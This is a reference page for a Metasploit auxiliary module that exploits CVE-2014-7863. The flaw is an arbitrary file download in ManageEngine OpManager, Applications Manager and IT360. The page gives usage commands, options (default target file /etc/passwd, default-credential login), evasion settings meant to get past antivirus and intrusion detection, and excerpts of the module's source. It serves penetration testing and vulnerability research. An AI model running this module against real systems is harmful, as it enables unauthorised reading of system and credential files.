ManageEngine Multiple Products Arbitrary File Download - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/manageengine_file_download metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ManageEngine Multiple Products Arbitrary File Download
Module: auxiliary/admin/http/manageengine_file_download
Source code: modules/auxiliary/admin/http/manageengine_file_download.rb
Disclosure date: 2015-01-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-7863

This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This module will attempt to login using the default credentials for the administrator and guest accounts; alternatively you can provide a pre-authenticated cookie or a username and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually 8300). This module has been tested on both Windows and Linux with several different versions. Windows paths have to be escaped with 4 backslashes on the command line. There is a companion module that allows the recursive listing of any directory. This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/manageengine_file_download
msf auxiliary(manageengine_file_download) > show targets
    ... a list of targets ...
msf auxiliary(manageengine_file_download) > set TARGET target-id
msf auxiliary(manageengine_file_download) > show options
    ... show and set options ...
msf auxiliary(manageengine_file_download) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the admin/http/manageengine_file_download auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/manageengine_file_download

msf6 auxiliary(admin/http/manageengine_file_download) > show info

       Name: ManageEngine Multiple Products Arbitrary File Download
     Module: auxiliary/admin/http/manageengine_file_download
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-01-28

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  No

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  DOMAIN_NAME                      no        Name of the domain to logon to (IT360 target only)
  FILEPATH        /etc/passwd      yes       Path of the file to download
  IAMAGENTTICKET                   no        Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)
  PASSWORD                         no        Password for the specified username (IT360 target only)
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           80               yes       The target port (TCP)
  SSL             false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI       /                yes       The base path to OpManager, AppManager or IT360
  USERNAME                         no        The username to login as (IT360 target only)
  VHOST                            no        HTTP server virtual host

Description:
  This module exploits an arbitrary file download vulnerability in the 
  FailOverHelperServlet on ManageEngine OpManager, Applications 
  Manager and IT360. This vulnerability is unauthenticated on 
  OpManager and Applications Manager, but authenticated in IT360. This 
  module will attempt to login using the default credentials for the 
  administrator and guest accounts; alternatively you can provide a 
  pre-authenticated cookie or a username and password combo. For IT360 
  targets enter the RPORT of the OpManager instance (usually 8300). 
  This module has been tested on both Windows and Linux with several 
  different versions. Windows paths have to be escaped with 4 
  backslashes on the command line. There is a companion module that 
  allows the recursive listing of any directory. This vulnerability 
  has been fixed in Applications Manager v11.9 b11912 and OpManager 
  11.6.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-7863
  OSVDB (117695)
  https://seclists.org/fulldisclosure/2015/Jan/114
  https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt

Module Options


This is a complete list of options available in the admin/http/manageengine_file_download auxiliary module:

msf6 auxiliary(admin/http/manageengine_file_download) > show options

Module options (auxiliary/admin/http/manageengine_file_download):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   DOMAIN_NAME                      no        Name of the domain to logon to (IT360 target only)
   FILEPATH        /etc/passwd      yes       Path of the file to download
   IAMAGENTTICKET                   no        Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)
   PASSWORD                         no        Password for the specified username (IT360 target only)
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80               yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /                yes       The base path to OpManager, AppManager or IT360
   USERNAME                         no        The username to login as (IT360 target only)
   VHOST                            no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/manageengine_file_download auxiliary module:

msf6 auxiliary(admin/http/manageengine_file_download) > show advanced

Module advanced options (auxiliary/admin/http/manageengine_file_download):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/manageengine_file_download module can do:

msf6 auxiliary(admin/http/manageengine_file_download) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/manageengine_file_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/manageengine_file_download) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Please supply the path of the file you want to download.


Here is a relevant code snippet related to the "Please supply the path of the file you want to download." error message:

172:	  end
173:	
174:	  def run
175:	    # No point to continue if filepath is not specified
176:	    if datastore['FILEPATH'].empty?
177:	      print_error('Please supply the path of the file you want to download.')
178:	      return
179:	    end
180:	
181:	    if detect_it360
182:	      print_status("Detected IT360, attempting to login...")

Failed to login to IT360!


Here is a relevant code snippet related to the "Failed to login to IT360!" error message:

180:	
181:	    if detect_it360
182:	      print_status("Detected IT360, attempting to login...")
183:	      cookie = login_it360
184:	      if cookie.nil?
185:	        print_error("Failed to login to IT360!")
186:	        return
187:	      end
188:	    else
189:	      cookie = get_cookie
190:	    end

Could not connect.


Here is a relevant code snippet related to the "Could not connect." error message:

210:	          'operation' => 'copyfile',
211:	          'fileName' => datastore['FILEPATH']
212:	        }
213:	      })
214:	    rescue Rex::ConnectionRefused
215:	      print_error("Could not connect.")
216:	      return
217:	    end
218:	
219:	    # Show data if needed
220:	    if res && res.code == 200

0 bytes returned, file does not exist or is empty.


Here is a relevant code snippet related to the "0 bytes returned, file does not exist or is empty." error message:

218:	
219:	    # Show data if needed
220:	    if res && res.code == 200
221:	
222:	      if res.body.to_s.bytesize == 0
223:	        print_error("0 bytes returned, file does not exist or is empty.")
224:	        return
225:	      end
226:	
227:	      vprint_line(res.body.to_s)
228:	      fname = File.basename(datastore['FILEPATH'])

Failed to download file.


Here is a relevant code snippet related to the "Failed to download file." error message:

232:	        'application/octet-stream',
233:	        datastore['RHOST'],
234:	        res.body,
235:	        fname
236:	      )
237:	      print_good("File saved in: #{path}")
238:	    else
239:	      print_error("Failed to download file.")
240:	    end
241:	  end
242:	end

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References


See Also


Check also the following modules related to this module:

Authors


  • Pedro Ribeiro <pedrib[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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